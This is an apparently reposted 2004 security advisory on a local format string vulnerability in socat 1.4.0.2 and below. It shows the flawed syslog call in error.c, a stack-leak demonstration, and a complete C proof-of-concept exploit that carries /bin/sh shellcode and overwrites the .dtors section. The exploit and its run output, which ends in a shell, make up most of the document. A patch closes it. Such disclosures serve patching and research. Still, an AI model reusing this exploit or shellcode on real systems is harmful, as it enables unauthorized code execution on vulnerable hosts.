07 - socat <= 1.4.0.2 Format String Vulnerability

eZine lover (@eZine)

Published in

Advisory

· 19 Dec 2022

No System Group - Advisory #07 - 18/10/04

Program: Socat
Homepage: http://www.dest-unreach.org/socat/
Vulnerable Versions: Socat 1.4.0.2 and below
Risk: Low / Medium
Impact: Local Format String Vulnerability

DESCRIPTION

Socat is a relay for bidirectional data transfer between two independent data channels. Each of these data channels may be a file, pipe, device (terminal or modem, etc.), socket (Unix, IP4, IP6 - raw, UDP, TCP), a client for SOCKS4, proxy CONNECT, or SSL, etc. It provides forking, logging, and dumping, different modes for interprocess communication, and many more options. It can be used, for example, as a TCP relay (one-shot or daemon), as a daemon-based socksifier, as a shell interface to Unix sockets, as an IP6 relay, for redirecting TCP-oriented programs to a serial line, or to establish a relatively secure environment (su and chroot) for running client or server shell scripts with network connections.

More informations at: http://www.dest-unreach.org/socat/

DETAILS

Socat is affected by a format string bug in the void _msg() function to 220 lines of error.c code:

--- error.c --- 
215:static void _msg(int level, const char *buff, const char *syslp) { 
216:   if (diagopts.logstderr) { 
217:      fputs(buff, stderr); fflush(stderr); 
218:   } 
219:   if (diagopts.syslog) { 
220:      syslog(syslevel[level], syslp); 
221:   } 
222:   if (diagopts.logfile) { 
223:      fputs(buff, diagopts.logfile); fflush(diagopts.logfile); 
224:   } 
225:} 
--- error.c ---

We can show some parts of the stack memory by using a format string like this:

coki@servidor:~/audit$ socat -lyAAAA%30\$p 
2004/10/18 13:13:07 socat[25191] E unknown syslog facility "AAAA%30$p" 
coki@servidor:~/audit$ tail -n 1 /var/log/syslog 
Oct 18 13:13:07 servidor socat[25191]: E unknown syslog facility "AAAA0x41414141" 
coki@servidor:~/audit$

EXPLOIT

------------------ socat_exp.c ------------------ 
/* socat_exp.c 

   Socat Format String Vulnerability 

   socat <= 1.4.0.2 local exploit (Proof of Concept) 

   Tested in Slackware 9.0 / 9.1 / 10.0 

   by CoKi <coki@nosystem.com.ar> 
   No System Group - http://www.nosystem.com.ar 
*/ 

#include <stdio.h> 
#include <string.h> 

#define PATH "/usr/local/bin/socat" 
#define OBJDUMP "/usr/bin/objdump" 
#define GREP "/usr/bin/grep" 

unsigned char shellcode[]=  /* aleph1 shellcode.45b */ 
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" 
        "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" 
        "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" 
        "\x2f\x73\x68"; 

int check(unsigned long addr); 

int main(int argc, char *argv[]) { 

        int i, dtorsaddr; 
        unsigned int bal1, bal2, bal3, bal4; 
        char temp[512]; 
        char buffer[1024]; 
        int cn1, cn2, cn3, cn4; 
        FILE *f; 
        char *env[3] = {shellcode, NULL}; 
        int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH); 

        sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP); 
        f = popen(temp, "r"); 
        if(fscanf(f, " %08x", &dtorsaddr) != 1) { 
                pclose(f); 
                printf("Cannot find .dtors address\n"); 
                exit(1); 
        } 
        pclose(f); 
        dtorsaddr = dtorsaddr + 4; 

        printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n"); 
        printf(" by CoKi <coki@nosystem.com.ar>\n\n"); 
        printf(" shellcode address = %.8p\n", shaddr); 
        printf(" .dtors address    = %.8p\n\n", dtorsaddr); 

        bzero(temp, sizeof(temp)); 
        bzero(buffer, sizeof(buffer)); 

        strcat(buffer, "-ly"); 

        for(i = 0; i < 4; i++) { 
                bzero(temp, sizeof(temp)); 
                sprintf(temp, "%s", &dtorsaddr); 
                strncat(buffer, temp, 4); 
                dtorsaddr++; 
        } 

        bal1 = (shaddr & 0xff000000) >> 24; 
        bal2 = (shaddr & 0x00ff0000) >> 16; 
        bal3 = (shaddr & 0x0000ff00) >>  8; 
        bal4 = (shaddr & 0x000000ff); 

        cn1 = bal4 - 27 - 16; 
        cn1 = check(cn1); 
        cn2 = bal3 - bal4; 
        cn2 = check(cn2); 
        cn3 = bal2 - bal3; 
        cn3 = check(cn3); 
        cn4 = bal1 - bal2; 
        cn4 = check(cn4); 

        sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4); 

        strcat(buffer, temp); 

        execle(PATH, "socat", buffer, NULL, env); 
} 

int check(unsigned long addr) { 
        char tmp[128]; 
        snprintf(tmp, sizeof(tmp), "%d", addr); 
        if(atoi(tmp) < 1) 
                addr = addr + 256; 

        return addr; 
} 

------------------ socat_exp.c ------------------ 

coki@servidor:~$ make socat_exp 
coki@servidor:~$ ./socat_exp 

 socat <= 1.4.0.2 local exploit (Proof of Concept) 
 by CoKi <coki@nosystem.com.ar> 

 shellcode address = 0xbfffffb9 
 .dtors address    = 0x080740c4 

2004/10/19 09:49:46 socat[26197] E unknown syslog facility 
"����%142u%30$n%70u%31$n%256u%32$n%192u%33$n" 
sh-2.05b$

This exploit does not give a root shell :(

SOLUTIONS

Change the void _msg() function of error.c code:

--- error.c --- 
215:static void _msg(int level, const char *buff, const char *syslp) { 
216:   if (diagopts.logstderr) { 
217:      fputs(buff, stderr); fflush(stderr); 
218:   } 
219:   if (diagopts.syslog) { 
220:      syslog(syslevel[level], "%s", syslp); // <--- here 
221:   } 
222:   if (diagopts.logfile) { 
223:      fputs(buff, diagopts.logfile); fflush(diagopts.logfile); 
224:   } 
225:} 
--- error.c ---